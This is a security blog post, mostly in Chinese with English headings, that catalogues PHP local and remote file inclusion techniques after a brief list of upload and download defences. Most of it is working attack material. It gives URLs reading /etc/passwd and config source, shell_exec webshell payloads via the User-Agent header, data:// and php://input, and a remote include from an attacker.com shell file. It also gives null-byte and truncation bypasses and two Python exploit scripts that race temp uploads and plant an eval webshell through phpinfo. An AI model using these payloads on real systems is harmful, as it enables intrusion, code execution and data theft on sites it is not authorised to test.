Local File Inclusion and Remote File Inclusion
langu_xyz

Local File Inclusion

防御策略

文件上传

  • 大小
  • 类型
  • 存储位置
  • 内容安全
  • 访问权限
  • 名称随机化

文件下载

  • 下载路径
  • 敏感信息
  • 访问权限

阿里云OSS安全 https://help.aliyun.com/document_detail/126537.html?spm=a2c4g.11186623.6.552.44f874b8BaaI5y

1) Direct Local Include

1
http://site.com/lfi.php?page=/etc/passwd

2) php://filter

php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;

1
2
3
http://www.site.com/lfi.php?page=php://filter/resource=config.php

http://www.site.com/lfi.php?page=php://filter/convert.base64-encode/resource=config.php

3) /proc/self/environ

Request’s user agent can be found there

用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用

1
2
3
GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1
Host: www.site.com
User-Agent: <?php echo shell_exec($_GET['cmd']);?>

4) Including images

If image.jpg contains php code it will be interpreted.

1
http://www.site.com/lfi.php?page=upload/image.jpg

5) Zip and Phar wrappers

File must be zip archive with any extension

phar://伪协议 >> 数据流包装器,自 PHP 5.3.0 起开始有效,正好契合上面两个伪协议的利用条件。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。

用法:?file=phar://压缩包/内部文件

1
2
3
http://www.site.com/lfi.php?page=zip://image.zip#shell.php

http://www.site.com/lfi.php?page=phar://image.phar#shell.php

6) File Upload

It requires php interpreter that crashes upon infinite recursive inclusion, thus not removing temporary file.

  1. Upload a file and trigger a self-inclusion
  2. Repeat step 1 until successful attack
  3. Bruteforce inclusion of /tmp/php[0-9a-zA-Z]{6}
  4. Shell

We have 62**6 possible values -> 56800235584 filenames for temporary uploaded files
Birthday paradox can be applied and it results with about 280000 requests to find valid file with more than 50% chance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

It is possible to send 20 files in one request that will be accepted by the server.

7) Session Files

1
2
3
4
5
Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。
首先,查看找到session文件并包含一次:文件名可以通过firefox的fire cookie插件查看当前session值。
实际应用过程中需要注意以下几点:
1) 网站可能没有生成临时session,以cookie方式保存用户信息,或者根本就完全没有。
2) Session文件内容的控制,这个时候我们就需要先通过包含查看当前session的内容,看session值中有没有我们可控的某个变量,比如url中的变量值。或者当前用户名username。如果有的话,我们就可以通过修改可控变量值控制恶意代码写入session文件。如果没有的话,可以考虑让服务器报错,有时候服务器会把报错信息写入用户的session文件的。我们控制使服务器报错的语句即可将恶意代码写入session。

8) PHPInfo Script

1
<?php phpinfo(); ?> 

9) 结合phpinfo包含临时文件

php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
# encoding=utf-8
# Author : idwar
# http://secer.org

'''

可能需要你改的几个地方:
1、host
2、port
3、request中的phpinfo页面名字及路径
4、hello_lfi() 函数中的url,即存在lfi的页面和参数
5、如果不成功或报错,尝试增加padding长度到7000、8000试试
6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改
Good Luck :)

'''

import re
import urllib2
import hashlib
from socket import *
from time import sleep
host = '192.168.92.132'
#host = gethostbyname(domain)
port = 80
shell_name = hashlib.md5(host).hexdigest() + '.php'
pattern = re.compile(r'''\[tmp_name\]\s=&gt;\s(.*)\W*error]''')

payload = '''idwar<?php fputs(fopen('./''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload

padding='A' * 8000
request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s''' % (len(req), host, req)


def hello_lfi():
while 1:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
data = ''
while r'</body></html>' not in data:
data = s.recv(9999)
search_ = re.search(pattern, data)
if search_:
tmp_file_name = search_.group(1)
url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name
print url
search_request = urllib2.Request(url)
search_response = urllib2.urlopen(search_request)
html_data = search_response.read()
if 'idwar' in html_data:
s.close()
return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
#import sys;sys.exit()
s.close()
if __name__ == '__main__':
print hello_lfi()
print '\n Good Luck :)'

10) Logs

包含web server日志文件

不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。

直接访问test.php?file=../<?php phpinfo();?>.php,将会被记录下来。这样便成功将php代码写进log文件。

FTP日志文件内容

用户名填:<?php phpinfo();?>

Remote File Inclusion

Works when allow_url_include in php.ini is set to TRUE

1) Direct Remote Include

Including php file in text format directly

1
http://www.site.com/lfi.hpp?page=http://attacker.com/shell.txt

2) Data:text/plain

Including php code through data stream

data://伪协议 >> 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

1
2
3
http://www.site.com/lfi.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>

http://www.site.com/lfi.php?page=data:text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4=

3) php://input

?file=php://input 数据利用POST传过去

1
2
3
4
5
6
POST /lfi.php?page=php://input&cmd=cd HTTP/1.1
Host: www.site.com
Content-Lenth: 39

<?php echo shell_exec($_GET['cmd']);?>

Fighting with extensions

1) Null Bytes

Add null byte that will terminate string

1
2
3
http://www.site.com/lfi.php?page=/etc/passwd%00

http://www.site.com/lfi.php?page=/etc/passwd%2500

2) Truncation

Cut extension by creating long string

1
http://www.site.com/lfi.php?page=../../../../../../../../../../../../etc/passwd
1
http://www.site.com/lfi.php?page=/etc/passwd..............................
1
http://www.site.com/lfi.php?page=/etc/passwd.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

参考:

利用本地包含漏洞执行任意代码

CTF-WIKI

LFIboomCTF

  • Post title:Local File Inclusion and Remote File Inclusion
  • Post author:langu_xyz
  • Create time:2016-11-12 21:00:00
  • Post link:https://blog.langu.xyz/Local File Inclusion and Remote File Inclusion/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.